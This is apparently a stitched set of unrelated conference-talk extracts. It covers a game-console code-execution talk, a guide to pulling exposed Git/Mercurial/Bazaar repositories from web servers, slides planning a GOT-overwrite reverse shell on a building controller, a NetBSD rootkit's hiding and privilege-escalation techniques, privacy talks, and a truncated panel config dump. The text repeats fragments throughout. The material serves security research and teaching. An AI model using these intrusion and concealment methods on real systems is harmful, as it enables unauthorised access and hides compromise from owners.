Gain full access to the Super Nintendo 4. Anything is possible Anatomy of an Arbitrary Code Execution Pokemon Red https://archive.org/stream/pocorgtfo10#page/n5/mode/2up http://arstechnica.com/gaming/2015/01/pokemon-plays-twitch-how-a-robot-got-irc-running-on-an-unmodified-snes/ credits: micro500, Ilari, p4plus2 https://archive.org/stream/pocorgtfo10#page/n5/mode/2up http://arstechnica.com/gaming/2015/01/pokemon-plays-twitch-how-a-robot-got-irc-running-on-an-unmodified-snes/ credits: micro500, Ilari, p4plus2 https://archive.org/stream/pocorgtfo10#page/n5/mode/2up http://arstechnica.com/gaming/2015/01/pokemon-plays-twitch-how-a-robot-got-irc-running-on-an-unmodified-snes/ credits: micro500, Ilari, p4plus2 https://archive.org/stream/pocorgtfo10#page/n5/mode/2up http://arstechnica.com/gaming/2015/01/pokemon-plays-twitch-how-a-robot-got-irc-running-on-an-unmodified-snes/ credits: micro500, Ilari, p4plus2 https://archive.org/stream/pocorgtfo10#page/n5/mode/2up http://arstechnica.com/gaming/2015/01/pokemon-plays-twitch-how-a-robot-got-irc-running-on-an-unmodified-snes/ credits: micro500, Ilari, p4plus2 https://archive.org/stream/pocorgtfo10#page/n5/mode/2up http://arstechnica.com/gaming/2015/01/pokemon-plays-twitch-how-a-robot-got-irc-running-on-an-unmodified-snes/ credits: micro500, Ilari, p4plus2 https://archive.org/stream/pocorgtfo10#page/n5/mode/2up http://arstechnica.com/gaming/2015/01/pokemon-plays-twitch-how-a-robot-got-irc-running-on-an-unmodified-snes/ credits: micro500, Ilari, p4plus2 Call to action Join the chat for Q&A at http://twitch.tv/dwangoAC https://youtu.be/EHfw-BEuRO8?t=1h13m50s credits: total_ ais523 From boot... https://youtu.be/EHfw-BEuRO8?t=1h13m50s credits: total_ ais523 From boot... ...to ending, in 16 frames! https://youtu.be/EHfw-BEuRO8?t=1h13m50s credits: total_ ais523 From boot... ...to ending, in 16 frames! 6000 buttons per second! https://youtu.be/EHfw-BEuRO8?t=1h13m50s credits: total_ ais523 From boot... ...to ending, in 16 frames! Some glitches are expected! 6000 buttons per second! DPCM memory ↕ game controller Flood weak controller code to abuse raster interrupt and take over execution conflict http://www.qmtpro.com/~nes/chipimages/#rp2a03 http://arstechnica.com/gaming/2016/07/how-to-beat-super-mario-bros-3-in-less-than-a-second/ TAS'ers lethal weapon ● More flexible than IDA ● Graph view, low level IL and annotation support ● Python scripting ● NES support: ability to add new mappers ♫♪ Am I… cheating? ♫♪ Am I… cheating? ♫♪ Am I… ♬ No cheating? technical challenge & visual entertainment! ♫♪ Am I… ♬ No, I'm just looking for... cheating? technical challenge & visual entertainment! ♫♪ Am I… ♬ No, I'm just looking for... ♩ And I'm not the only one… ;) Medecins sans Frontières Doctors without borders ♩♬ But more importantly…. Medecins sans Frontières Doctors without borders Prevent Cancer Foundation Games Done Quick Raised for charity! over $200k USD ♩♬ But more importantly…. http://tasvideos.org/forum/viewtopic.php?p=437688#437688 micro500 Ilari Thanks to: micro500 Ilari Thanks to: p4plus2 Masterjun true total_ psifertex rusty micro500 Ilari Thanks to: p4plus2 Masterjun true total_ psifertex rusty TheAxeMan ange_ greenfly ais523 and many, many others In collaboration with Ange Albertini ? @MrTASBot Twitch.tv/dwangoAC
pdf
Presents My Favorite Fails, 2013 Rich Mogull @rmogull Thursday, September 26, 13 5 Thursday, September 26, 13 Beijing, China 2011 Thursday, September 26, 13 Thursday, September 26, 13 • 25 student • 50 instances • 50 SSH connections Thursday, September 26, 13 1 IP Address Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13 4 Thursday, September 26, 13 Thursday, September 26, 13 3 Thursday, September 26, 13 Have you ever heard of “Heap Spray”? Thursday, September 26, 13 We were the guys that heap sprayed the college from Amazon Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13 2 Thursday, September 26, 13 Thursday, September 26, 13 I am contacting you on behalf of ISACA, formerly the Information Systems Audit and Control Association Trade Association, who would like to speak with you about how IT can transform cybersecurity using COBIT 5 – a framework to integrate cybersecurity with an overall approach to security governance, risk management and compliance. This is critical for IT teams in the wake of escalating Advanced Persistent Threats (APTs). More than 80 percent of 1500 security professionals surveyed by ISACA admit they are not prepared for APTs. The challenge of APTs is particularly daunting in the face of always-on connectivity, an increasing IT-centric society and a new class system that separates people by technology skills. Thursday, September 26, 13 Thursday, September 26, 13 1 Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13 Thursday, September 26, 13
pdf
Pillaging DVCS Repos Adam Baldwin INTRODUCTION Distributed Version Control Systems (DVCS) including Git, Mercurial (HG), and Bazaar (BZR) are becoming increasingly popular and also a convenient method of deploying updates to web applications. DVCS track revision history and other information about the repository inside a meta directory. In some cases the meta directory is left inside the web root of the website unprotected. This information could be very valuable to an attacker or as part of a penetration test. OBJECTIVE The goal of this research was to identify methods in which information could be remotely extracted from the exposed meta directory and recreate as much of the repository state as possible. REPOSITORY IDENTIFICATION The first step in our process was to remotely and reliably identify the presence of an exposed DVCS meta directory. It was found that each DVCS we tried had a predictable set of file names, paths and contents. Using this information we created a set of regular expressions to identify a positive match. DVCS File Regular Expression GIT .git/HEAD ^ref: refs/' HG .hg/requires ^revlogv1' BZR .bzr/README ^This\sis\sa\sBazaar' A discovery plugin called findDVCS.py was created for the W3AF (Web Application Attack and Audit Framework) framework. This plugin uses the above regular expressions for repository identification. PREDICTABLE FILES The next step in extracting repository data is to download files with predictable file locations. Some of these are critical in extracting useful information from the repository. Below is a list of some of the predictable files. Some are left out just because we donʼt care about them. GIT File Notes .git/HEAD Used to identify the repository and repository refʼs .git/config Lists branches and remotes that may provide other targets to attack. .git/index “sorted list of path names, each with permissions and the SHA-1 of a blob object” [0] .git/logs/HEAD Current HEAD reference .git/hooks/* applypatch-msg.sample,pre-applypatch.sample,commit- msg.sample,pre-commit.sample,post-commit.sample,pre- rebase.sample,post-receive.sample,preparecommit- msg.sample,post-update.sample,update.sample Some hooks may contain sensitive information, depending on how they are used. Just remove .sample and see if they exist. HG File .hg/00changelog.i .hg/dirstate .hg/requires .hg/branch .hg/branchheads.cache .hg/last-message.txt .hg/tags.cache .hg/undo.branch .hg/undo.desc .hg/undo.dirstate File .hg/store/00changelog.i .hg/store/00changelog.d .hg/store/00manifest.i .hg/store/00manifest.d.hg/store/fncache .hg/store/undo BZR File .bzr/branch-format .bzr/branch/branch.conf .bzr/branch/format .bzr/branch/last-revision .bzr/branch/tags .bzr/checkout/conflicts .bzr/checkout/dirstate .bzr/checkout/format .bzr/checkout/merge-hashes .bzr/checkout/views .bzr/repository/format .bzr/repository/pack-names RECONSTRUCTING THE REPOSITORY Once we have obtained the predictable files inside of the repositories we can start trying to reconstruct as much of the repository as possible. 100% recovery of the repository is not always possible. In those cases there is still information that can be obtained and will be detailed in the next section. GIT 1. Get the ref from .git/HEAD 2. Get the object that the ref points to. These objects are stored in the .git/objects directory in the form of a sha1 hash. The first two characters in the sha value is the directory and the remainder is the filename. Example: If we had a ref of 32dfb09ddd7ccaf90d5e8f24b6d79d23b92816fb the file we would attempt to download would be .git/objects/32/dfb09ddd7ccaf90d5e8f24b6d79d23b92816fb 3. Using the git ls-files --stage command we download each object reference Example: (truncated for brevity) 100644 c3c996e3b8a5579d534bb2ada3ee2cde0a8eb6bd 0 blog/.htaccess 100644 49403ecc2d8a343da95ad8d354b4f16a73f094d9 0 blog/index.php 100644 d31195ab0e695f8b894f3875c57cefc227aa3af5 0 blog/license.txt 100644 c4897a991a5db2ec1738af1b862d26f639a745c9 0 blog/readme.html So we would try and download the following objects .git/objects/c3/c996e3b8a5579d534bb2ada3ee2cde0a8eb6bd .git/objects/49/403ecc2d8a343da95ad8d354b4f16a73f094d9 .git/objects/d3/1195ab0e695f8b894f3875c57cefc227aa3af5 .git/objects/c4/897a991a5db2ec1738af1b862d26f639a745c9 4. Not all references can be retrieved this way. Because of how git structures its object database some of these files are put into pack files. As far as we could tell the pack file names could not easily be determined. 5. One last technique can potentially grab a bit more of the object directory. Using error messages created by the “git log” command. An error like the below is simply parsed and the object reference downloaded until we canʼt make any more progress. error: Could not read 058ef249880a92b335acb3ecb80cb729d4e90be9 fatal: Failed to traverse parents of commit 32dfb09ddd7ccaf90d5e8f24b6d79d23b928 6. Finally the best part, we get to try and restore some actual data files. We do this by simply trying to “git checkout” for each file mentioned in “git ls-files” output. HG HG is quite different than git in how it stores its data files on disk. Because it doesnʼt use some hash value for filenames it has to deal with encoding normalization for filenames due to different platforms. [1] To handle this we simply use the encodefilename function of the mercurial python library instead of having to understand it completely. Once we have each file downloaded we can use the “hg revert filename” command to get a raw copy extracted from the repository and onto disk. To completely understand this process take a look at the source available in the DVCS Pillage Toolkit as mentioned below. BZR To identify what files to download with bazaar we use the integrity checking command bzr provides “bzr check.” Using error messages presented to us we can determine exactly what files we need to download and recreate the repository. Eventually all files will be downloaded and the bzr check command will have happily extracted the data for us. Some sites appear to block downloading the format files in branch, repository, and checkout. If this is the case what you can do is simply fake it. Sometimes putting the following values in allow for progress to be made. .bzr/branch/format Bazaar Branch Format 7 (needs bzr 1.6) .bzr/checkout/format Bazaar Working Tree Format 6 (bzr 1.14) .bzr/repository/format OTHER INFORMATION In the case that you were not able to extract actual raw files from the repository you still have the potential to get a lot of useful data. Here are some thoughts on what you could do in this situation. • Downloadable Files / File Listing In all three situations the index files or dirstate provides an nice list of what files are included in the repository. Here are some ideas of what to look for. • .sql • .tmp • *.tar / *.tar.gz / *.zip • .bak • .old • .crt / .pem • Old Revisions Sometimes people put confidential information into repositories but then decide it was a bad idea. Checking older revisions of files GIT: git log --follow -p FILENAME HG: hg log FILENAME hg diff -r 10 -r 20 FILENAME BZR: bzr log [2] • Email Addresses Logs contain some good data, included in those are often email addresses or usernames. DVCS PILLAGE TOOLKIT To automate the most of the explained techniques in this paper a toolkit called the DVCS Pillage Toolkit was created and is hosted on github. Each repository has its own unique tool to pillage and pwn the repository. You can visit the project page here https://github.com/ngenuity/DVCS-Pillage or clone it using git git clone [email protected]:ngenuity/DVCS-Pillage.git Please submit any issues or feature requests via the github issue tracker. CONCLUSION While 100% extraction of a repository is not always possible it was determined that information leaked from an exposed DVCS meta directory can be very valuable to an attacker. REFERENCES [0] - http://www.kernel.org/pub/software/scm/git/docs/user-manual.html#the-index [1] - http://mercurial.selenic.com/wiki/EncodingStrategy [2] - http://doc.bazaar.canonical.com/latest/en/user-reference/log-help.html Author: Adam Baldwin, Chief Pwning Officer nGenuity Information Service [email protected] @adam_baldwin
pdf
Douglas McKee Mark Bereza • • • • • • • • • • • • • • • • DEBUG THIS, NERD Watchdog error message Binary Patch • • • • • • • • • • • • • • • • • • • • • • • • • • • • What do we have? • Execution control via GOT override • Netcat installed by def • Memory on heap What do we want? • Persistence • Root access How do we get it (easily)? • Put shellcode in memory we control • Fire off reverse shell by calling system() What do we have? • Execution control via GOT overwrite • Netcat installed by default • Memory on heap What do we want? • Persistence • Root access How do we get it (easily)? • Put shellcode in memory we control • Fire off reverse shell by calling system() What do we have? • Execution control via GOT overwrite • Netcat installed by default • Memory on heap What do we want? • Persistence • Root access How do we get it (easily)? • Put shellcode in memory we control • Fire off reverse shell by calling system() What do we have? • Execution control via GOT overwrite • Netcat installed by default • Memory on heap What do we want? • Root access • Persistence How do we get it (easily)? • Put shellcode in memory we control • Fire off reverse shell by calling system() What do we have? • Execution control via GOT overwrite • Netcat installed by default • Memory on heap What do we want? • Root access • Persistence How do we get it (easily)? • Put shellcode in memory we control • Fire off reverse shell by calling system() What do we have? • Execution control via GOT overwrite • Netcat installed by default • Memory on heap What do we want? • Root access • Persistence How do we get it (easily)? • Put shellcode in memory we control • Fire off reverse shell by calling system() • • • • • • • • • • • • • • • • • • • • R4 + offset gets us close to system() address Hit when relay turns on Call to ioctl() flips relay • • • • • • • • • • • • Inserted into startup script using our exploit 1. Delta programming executes 2. Dynamic linker loads objects in the following order: 1. Delta programming executes 2. Dynamic linker loads objects in the following order: 3. I/O polling thread calls canioWriteOutput to flip a relay 1. Delta programming executes 1. Delta programming executes 2. Dynamic linker loads objects in the following order: 1. Delta programming executes 2. Dynamic linker loads objects in the following order: 3. I/O polling thread calls canioWriteOutput to flip a relay 1. Delta programming executes 2. Dynamic linker loads objects in the following order: 3. I/O polling thread calls canioWriteOutput to flip a relay 1. Delta programming executes Device ID: 0x0836004B Device state: 75.1038 Device description: “Room Temp” • • • • • • • • • • • • • • • • • • • • • • • • • • • •
pdf
Socially owned by the cloud Defcon 17 1 Where is our data? • Bankboxes and filing cabinets. • On a computer hard drive at home • On dvd in storage • Stored in private holes in the internet • Stored in public so everyone can see it 2 Evolution of the private sphere • Close family / friends • BBS / Cyberfriends • Internet 3 Evolution of communication • In person communication • Letters / Snail mail • Email • IM • Social networks / Myspace / Facebook • Twitter 4 Where is our data • Do you know where your provider stores the data? • What jurisdiction its under? • Can you remove it? Can you delete it? 5 Who owns the data? • You? • Them? • What if you die? 6 I wanted answers Amazon Amazon Kindle Flickr Smugmug Jungledisk match.com Myspace Facebook 7 Answers • Still awaiting responses 8 Trends • The data becomes assets for very large companies • Like anything on the internet removing it can be really hard, even if the company allows it, backups, and online copies might exist. • Your personal data is valuable and you give it up for free 9 Advice and activism • Public cloud and private clouds for business • We should get private storage of all our data, and decide what to display on sites. • Sites should be consumers of data we provide and own, not storage providers and consumer of it 10 more advice • The DRM we all love to loathe today, as companies enforce draconicen rules upon what we lease from them, should in the future be exploited by us all to protect our “life sphere” and control the access for sites who wish to lease our content. 11 even more advice • Social sites make their money off of us, off or our content, our sweat and our work. • Its time to take control back. 12
pdf
THE ROAD LESS SURREPTITIOUSLY TRAVELED @pukingmonkey DEF CON 21 THE LOSS OF LOCATIONAL PRIVACY WHILE TRAVELING IN YOUR AUTOMOBILE – Automatic License Plate Readers (ALPRs) – Snitch devices in your car • Transponder based Electronic Toll Collection (ETC) • GPS • Smart phones traffic apps • Dumb phones • Automatic tire pressure monitors DO YOU HAVE THE RIGHT TO TRAVEL? Interstate: YES. Saenz v. Roe (1999) the right to travel that is guaranteed by the Privileges or Immunities Clause of the Fourteenth Amendment. Intrastate: YES. But not as clear, it's usually derived from First Amendment freedom of association and Fifth Amendment due process protection. International: YES. Kent v. Dulles (1958) The right to travel is a part of the "liberty" of which a citizen cannot be deprived without due process of law under the Fifth Amendment. DO YOU HAVE THE RIGHT TO DRIVE? NO It is a privilege, not a right, that is regulated, must be granted (licensed) and can be revoked, according to the prevailing laws of every jurisdiction of the United States. DO YOU HAVE THE RIGHT TO ANONYMOUS TRAVEL? Mostly YES but it depends on your mode of travel, in the U.S. you are not required to carry ID except: • when driving, it requires licensing NO • taking a commercial flight NO • crossing a national border NO AUTOMATIC LICENSE PLATE READERS A system of cameras, computers and GPS that reads the license plates (OCR), and notes coordinates and time, they can be mobile or fixed locations. Can do about 3,000 plates/hour, on moving vehicles up to 130MPH. All data is saved and downloaded to a central repository. WHAT’S THE BIG DEAL? Police have been “running” plates forever • Captures all plates in its field of vision • retained in databases along with pictures from 21 days to 5 years (depends on jurisdiction) • Enough APLRs and data points = tracked NYC: 108 fixed and 130 mobile APLRs as of 2009 • Impossible to opt-out IS IT LEGAL TO DO THIS WARRENTLESS TRACKING? YES • Hester v. United States (1924) An observation made by a police officer without a physical intrusion into a constitutionally protected area does not implicate the Fourth Amendment nor require a search warrant. • United States v. Martin (1986) A police officer who is lawfully present in an area may look into the windows of a parked car. • No reasonable expectation of privacy on your license plate in public • Police do not need a warrant to "run" your plate WAIT A MINUTE THE SUPREME COURT RULED A WARRENT IS NEEDED FOR GPS TRACKING YES BUT THIS IS DIFFERENT United States v. Jones (2012) what the court said is that a warrant is needed to place the tracking device on the vehicle, not the act of tracking it. I THOUGHT THE POLICE CANNOT USE ADVANCED SPY TECHNOLOGY WITHOUT A WARRENT YES AND NO • Kyllo v. United States (2001) infrared cannot be used to look inside a constitutionally protected area • Florida v. Riley (1989) aerial surveillance can be used • United States v. Lee (1927) artificial illumination can be used to aid observations • binoculars can be used (no Supreme Court case but Scalia has said it is OK) ALPR DATA RETENTION • NH: general ban • ME: 21 day maximum for non-hit non-criminal investigations • NJ: must retain for a full 5 years, and then must destroy after 5 years • NYC: retained for 5 years. Even though general surveillance video is deleted after 21 days if no active investigation IS THE DATA PUBLIC OR OPEN TO LEGAL DISCOVERY? • Public? Maybe. Minneapolis released then recanted. GPS coordinates for their fixed readers was redacted. • Discovery? NY has what is known as Rosario material, “Any written or recorded statement…made by such witness…which relates to the subject matter of the witness’s testimony.” However NY claims that ALPR data is not a "statement" so therefore it is not Rosario, and not subject to discovery. IT MAY NOT MATTER WHAT RETENTION LAWS ARE, AS THERE IS A COMMERCIAL MARKET • Vigilant Solutions. it’s only customers are Law Enforcement. Its in 28 Metro areas, >35 million reads/month, collected by non-law enforcement scout cars • Tow operators driving and scanning everything, looking for repo hits, but then sell the data. • Law Enforcement will just purchase the data • You can buy it for $10 a pop from tlo.com BUILD A LICENCE PLATE READER DETECTOR • It uses infrared LEDs to illuminate the plate • Its always on, and it is always pulsating to try to get the best exposure • So we should be able to detect, by just using IR photodiodes right? • Had a few failures to work • Standard IR is 850nm. ELSAGs unit uses 735nm LEDS which near-IR (or far-red) Video: proof of concept ALPR detector Also available at http://youtu.be/1YTl36N1HHM Video: monkey screams when plate is read also available at http://youtu.be/FjBTYEVVpdQ WHAT DO COPS DO? • No front plate, even if required • Heavily mask the back plate with dark plastic or alternating Fresnel lenses • Drive with the tail gate down • Also tint you windows and windshield…. • You CANNOT do any of this legally • Don’t want any extra interaction with law enforcement • CA you can drive a new car with no tags for 90 days (was 6 months while Jobs was alive) and cannot drive outside of CA • Most temp tags are only good 20 to 90 days • Registering you vehicle to a company hides you in a thin veil, but still plates are recorded • But do NOT get commercial tags WHAT IS HARDEST FOR ALPR • Non reflective plates – Crime to remove reflectivity in CA – Failed inspection in MA if you plate looses reflectivity • Low contrast plates • Light red characters • With 3 or more stacked letters • Registration stickers that need to be placed close to the letters • 8 digit plates, smaller and narrower letters • Also no front plate, means half the chance of being read ELECTRONIC TOLL COLLECTION TAGS • Always on • All ETC is 915Mhz in the US • Multiple non-compatible protocols – Interagency Group (IAG) (E-Zpass) – California Title 21 – Allegro – eGo • It’s RFID, some with battery asssit some without Video: proof radio is good as and more sensitive than the original tag Also available at http://youtu.be/UwBK_SpYJdo Video: shows E-Zpass detector working at Holland Tunnel Also available at http://youtu.be/IgjFz-rWQnY Video: Time Square to Madison Square Garden in 90 secs Also available at http://youtu.be/JCwWVxGtYgE Video: exiting Manhattan (no toll), but E-Zpass still is read Also available at http://youtu.be/eZUtHJVonL8 • NYSDOT admits they use it for "travel time" signs • Who else gets and what happens to this data? • How long is it retained? • NYSDOT stated in 2007 that tag info for travel time is “scrambled by the system” and “deleted after the vehicle has left the highway” • Could not verify this via their customer representatives. Security letter? • No way to know if a read is by NYSDOT, NYPD, DHS or some other agency • NY Times reports that the NSA does get E-Zpass data: “How the U.S. Uses Technology to Mine More Data More Quickly” by Risen and Lichtblau, June 8th 2013 WHAT TO DO? • Bag the tag, and only bring it out when you want to pay a toll. • If you have a sticker build a faraday cage box that you can swing open and shut • Remember the toll is tracking you too • It will become obvious to “watchers” you are doing this as you will be seen at tolls but no where else YOUR TIRES • Federal US TREAD (Transportation Recall Enhancement, Accountability and Documentation) law • Two different things happing here – Tire Pressure Monitoring System (TPMS) 315MHz transmitter at the valve stem, not the tire, this is part of the rim. Has a battery and a unique ID – RFID in the tires themselves, unique per tire • Michelin uses 915MHz • Goodyear uses 125kHz • Auto manufactures place the VIN in these RFIDs as well OTHER RFID • Parking passes, it might be an hang tag or a sticker you had to put on the glass • Usually private, but found one municipally that put them in for residents to cut down on parking permit counterfeiting. It’s 915Mhz too. • Need to bag them too, if not in use, but a permit for public on street parking is a problem INRIX • collects position data from 100 million devices across 1.8 million miles of road • Google maps uses them for traffic • 6 of the 8 auto companies with built-in navigations systems (like Ford, BMW and Audi) • 8 of the 12 top navigation apps in Apple’s App Store (like MapQuest, Garmin, Microsoft and Telenav) • dumb phones, without GPS and internet connections are sharing location data with them through cell towers • Commercial truck fleets CONCLUSION • Salt the plate • Bag the tag • Zap and jam the tires • Turn ‘em off
pdf
Konstantinos Karagiannis CTO, Security Consulting @konstanthacker ethereum is not bitcoin “The key component is this idea of a Turing-complete blockchain” --Vitalik Buterin smart contracts • Business logic programs • Semi autonomous • Move value, enforce agreements • Creativity the limit literally a billion reasons caveats • No zero days • No customer code • Yes, a methodology • No, I doubt smart contracts will get that smart solidity • Language of choice • High level, compiles to bytecode • Similarities to JavaScript and C • Supports: • libraries • inheritance • user-defined types • assembly inline dev tools • .sol files > bytecode > blockchain • Auditing .sol easier with highlighting • Atom my fave, with plugins • language-ethereum • etheratom • Remix–browser based solgraph oyente • Symbolic execution tool • Works with EVM byte code or .sol files • Detects 4* vulns • Low false positive rate basic methodology • Interview devs • Load .sol file, preferably with highlighting • Try compiling • Dissect code flow—optional solgraph • Run oyente (cross fingers) • Manually verify 3/4 vuln yay/nays • Proceed to manually check for following vulns… reentrancy leave off the first “re” for savings unchecked send in king of the ether unchecked send gas limits withdraw don’t send withdrawn not sent encryption transaction-ordering dependence call-stack depth limit variable or function ambiguity odds and ends • Input validation – require(condition) • Timestamp dependence • Business logic flaws • Separating public/private data get involved dox me … or just keep in touch @konstanthacker [email protected]
pdf
Toasterkit - A NetBSD Rootkit Anthony Martinez Thomas Bowen http://mrtheplague.net/toasterkit/ Toasterkit - A NetBSD Rootkit 1. Who we are 2. What is NetBSD? Why NetBSD? 3. Rootkits on NetBSD 4. Architectural Overview 5. Our contributions 6. Demo 7. Protection 8. Prevention Who we are - Anthony Martinez Anthony is a system administrator for the New Mexico Institute of Mining and Technology’s Computer Center, as well as an undergraduate Computer Science student at the university. He originally proposed the project that evolved into Toasterkit. Who we are - Thomas Bowen Thomas is a system administrator for the New Mexico Institute of Mining and Technology’s Computer Center. He is also enrolled in the Computer Science program with emphasis in Information Assurance. Why NetBSD? NetBSD is a popular operating system for embedded systems. It is also extremely source-portable, meaning that when written properly, anything targeting the kernel is equally so. This way, the rootkit can work on any NetBSD port! Additionally, NetBSD is something of a research tool — new ideas such as Veriexec and the kauth frameworka are being worked on in NetBSD, and nobody (else) is targeting them. aWhich originated in Mac OS X. History of Rootkits on NetBSD Chkrootkit hasn’t been updated since NetBSD 1.6. We’re at 4.0, with 5 soon to be released. If there are any rootkits targeting recent versions of NetBSD, none of them appear to be public. Overview of NetBSD Architecture Portable across hardware The slogan: “Of course it runs NetBSD”. Excellent support for cross-building. Architecture of code All of the architecture-dependent pieces are abstracted behind common functions; we don’t have to worry about byte order, memory-manager specifics, etc. Loadable Kernel Modules (LKM) Not commonly used, but are enabled by default. It also allows code to infiltrate the kernel ex post facto; security-conscious administrators might disable this. Modules can add syscalls, sysctl nodes, executable formats, filesystem drivers, etc. Overview of NetBSD Architecture Process security (kauth) The kauth framework acts as a gatekeeper between the kernel’s own routines, and is designed to be more fine-grained than the previous UNIX superuser approach of “all-or-nothing”. The kauth system is used in the construction of other security models. Security models NetBSD supports custom security models. The default model, bsd44, is the standard BSD securelevel and superuser scheme. Also documented in the manual page for secmodel is a sample module allowing users with a uid below 1000a to bind to the normally-reserved port range below 1024. aThis range is generally used for system daemon accounts What we’ve done and how we’ve done it Elevated privileges within the kauth framework. Made processes hidden via direct kernel object manipulation Portably removed write-protection from kernel memory areas; required for modifying some kernel tables. Hooked sysctl and ioctl functions in order to hide sockets and modules. Code Skeleton NetBSD includes example code for kernel modules in /usr/src/sys/lkm/{misc,syscall}/example, and several fully-featured modules in /usr/src/sys/lkm. The sample modules do very little, but provide a skeleton to build other modules on. Specifically, the misc example, originally intended to show how a system call is inserted “by hand”, can be modified to hook a system call. A sample Makefile is also included, which is simply a call into the already-existing NetBSD build process. System Calls, hooking System calls are exposed, among other ways, via a global sysent array, though accessing this array is not the standard way of placing a system call. Each element of sysent[] is of type struct sysent, containing information for the userspace — number of arguments, size of arguments, flagsa, and the function to be called. We can modify existing behavior by changing the function pointer (sysent[n].sy_call) to one of our own design, if done carefully enough. All system calls have a uniform prototype for use in the kernel, and access any userspace arguments indirectly. aAs of NetBSD 4.0, the only flag is whether or not the syscall is multiprocessor safe. Building, loading, using an LKM We use two types of loadable modules: 1. misc modules, which provide no automatic initialization 2. syscall modules, which automatically find the next unused system call number and insert themselves there. The NetBSD build system provides Make targets for loading, unloading, and building the module, no matter what its type. The module system is controlled by ioctl commands on /dev/lkm. This comes into play later, when we are hiding modules. Privilege Escalation with Kauth The first module is relatively simple. It adds a system call that gives the user escalated privileges. Since NetBSD uses kauth, however, we can’t just set the process’s User ID to 0 (root) and call it done. Instead, we need to operate within kauth’s bounds. The interface is documented in the manual pages, and we use the kauth_cred_dup function on the credentials of process #1 — init. Since init shouldn’t be running under any restrictions, considering its responsibilities, we considered it a fair process from whom to “steal” credentials. Memory protection woes NetBSD requires that a CPU support memory management. Some parts of kernel space are protected against memory writes. This frustrated our immediate efforts to hook functions that weren’t designed to be hooked. In general, memory pages can be marked as any combination of readable, writable, and executable. Low-level details are machine-dependent Thankfully, NetBSD provides us with uvm, a virtual-memory system designed at WUSTL, which abstracts memory management. Documented in the manual page for uvm is a function called uvm_map_protect, but calling it has no effect on kernel pages. Memory Unprotection Removal of write-protection is required to modify certain parts of kernel memory: Character device tables, specifically lkm_cdevsw, are protected against writes. The sysctl tree is similarly marked read-only. Removing this type of write-protection should be done generically so as to maintain cross-platform compatibility: we can’t go mucking around in the page tables ourselves. It also turns out that this work has already been done for us: Hidden underneath a #ifdef KGDB in uvm_glue.c, there is a function called uvm_chgkprot. It does what we need, so we copied it. Hiding modules Modules are easily visible by means of modstat — without some way to hide this list, a rootkit is very obvious. modstat and friends operate by way of /dev/lkm, making ioctl calls to load, unload, and request the status of modules. Some way is needed to hook only these ioctl operations, since hooking the actual system call would be far too broad. The functions for device nodes are stored in struct cdevsw variables corresponding to each device: the one for /dev/lkm is named lkm_cdevsw. One of the slots in the structure is the responsible function for ioctl. Inserting a hook function, which returns “does not exist” whenever the module’s name begins with “rootkit”, only requires unprotecting the memory. Sysctl sysctl is a tree structure originally from BSD, which was designed to allow an administrator to modify system parameters on-the-fly (without rebuilding the kernel), and is still used for that, but is now also used to report system information. Each node in the tree can either contain a value for the corresponding “key” or a pointer to a helper function that is to handle processing of that particular branch of the sysctl tree. Node entries are write protected and modification of helper functions is difficult using the documented (sysctl(9)) API. Sysctl - Hiding network sockets Our solution is to: 1. Scan the sysctl tree, getting to the level above where the function is to be found (using sysctl_locate). 2. Once the helper function node we want to modify is found, unprotect the memory 3. Insert our own hook function, based on the original The user utility netstat accesses open port data via a sysctl helper function. Overriding this function allows us to hide open network ports. Process hiding Hiding processes is accomplished by way of module implementing a system call that takes the name of a process to hide, and directly removes it from the allproc global kernel list, as well as a few other lists. This doesn’t prevent it from getting scheduled and running, since the NetBSD scheduler doesn’t operate on processes, instead working at thread granularity. This type of attack is referred to as “direct kernel object manipulation”. Demo Protection - Detecting hooks Using a friendly loadable module, compare function pointer in tables with address of actual function. System call hooks Check sysent table against the addresses of the expected functions; see /usr/src/sys/kern/init_sysent.c. sysctl and ioctl hooks Check specific helper function nodes. A full sweep is a bit more difficult because there is no single source for the “correct” functions. Detecting other stuff Detecting kauth We don’t think there’s a viable solution to this. There are many occasions where kauth_cred_dup is appropriate and correct, so emitting a warning each time it’s used would just be noise. Detecting unprotection Again, no easy detection. There isn’t a standard utility to display the kernel’s memory mapping, but perhaps pmap(1) can be extended to do so. Prevention The easiest way to prevent against attacks via loadable modules is to rebuild your kernel without options LKM enabled. Loadable modules are not frequently used in NetBSD, but if your system does require one, this might not be a usable solution. Another, though more intrusive, suggestion is to use security levels. Once the system has gone multi-user, kernels compiled without options INSECURE apply a variety of restrictions, including that kernel modules cannot be loaded. Unfortunately, common architectures such as i386/amd64, and mac68k/macppc, default to INSECURE. This also doesn’t prevent someone sufficiently clever from loading modules before the securelevel gets raised. Questions? References Our primary reference text for this project was Designing BSD Rootkits, by Joseph Kong. Other than that, the NetBSD source code was an excellent asset, as well as being well-documented and clear.
pdf
宝塔⾯板 7.6.0 ,基于python3+flask ⽬录在 /www/server/panel/ config task.json 定时任务信息 menu.json ⾸⻚路由配置信息 { "JOBS": [ { "id": "1", "func": "jobs:control_task", "args": null, "trigger": "interval", "seconds": 15 }, { "id": "2", "func": "jobs:install_task", "args": null, "trigger": "interval", "seconds": 10 }, { "id": "3", "func": "jobs:site_end_task", "args": null, "trigger": "interval", "seconds": 10800 }, { "id": "4", "func": "jobs:php_safe_task", "args": null, "trigger": "interval", "seconds": 30 } ], "control": { "open": true, "day": 30 } } [ { "title": "⾸⻚", "href": "/", "class": "menu_home", "id": "memuA", "sort": 1 }, { "title": "⽹站", "href": "/site", "class": "menu_web", "id": "memuAsite", "sort": 2 }, { "title": "FTP", "href": "/ftp", "class": "menu_ftp", "id": "memuAftp", "sort": 3 }, { "title": "数据库", "href": "/database", "class": "menu_data", "id": "memuAdatabase", "sort": 4 }, { "title": "监控", "href": "/control", "class": "menu_control", "id": "memuAcontrol", "sort": 5 }, { "title": "安全", "href": "/firewall", "class": "menu_firewall", "id": "memuAfirewall", "sort": 6 }, { "title": "防⽕墙", "href": "/btwaf/index", "class": "menu_btwaf", "id": "memu_btwaf", "sort": 7 api.json ⾃⼰的api信息 ssh_info }, { "title": "⽂件", "href": "/files", "class": "menu_folder", "id": "memuAfiles", "sort": 8 }, { "title": "终端", "href": "/xterm", "class": "menu_xterm", "id": "memuAxterm", "sort": 9 }, { "title": "计划任务", "href": "/crontab", "class": 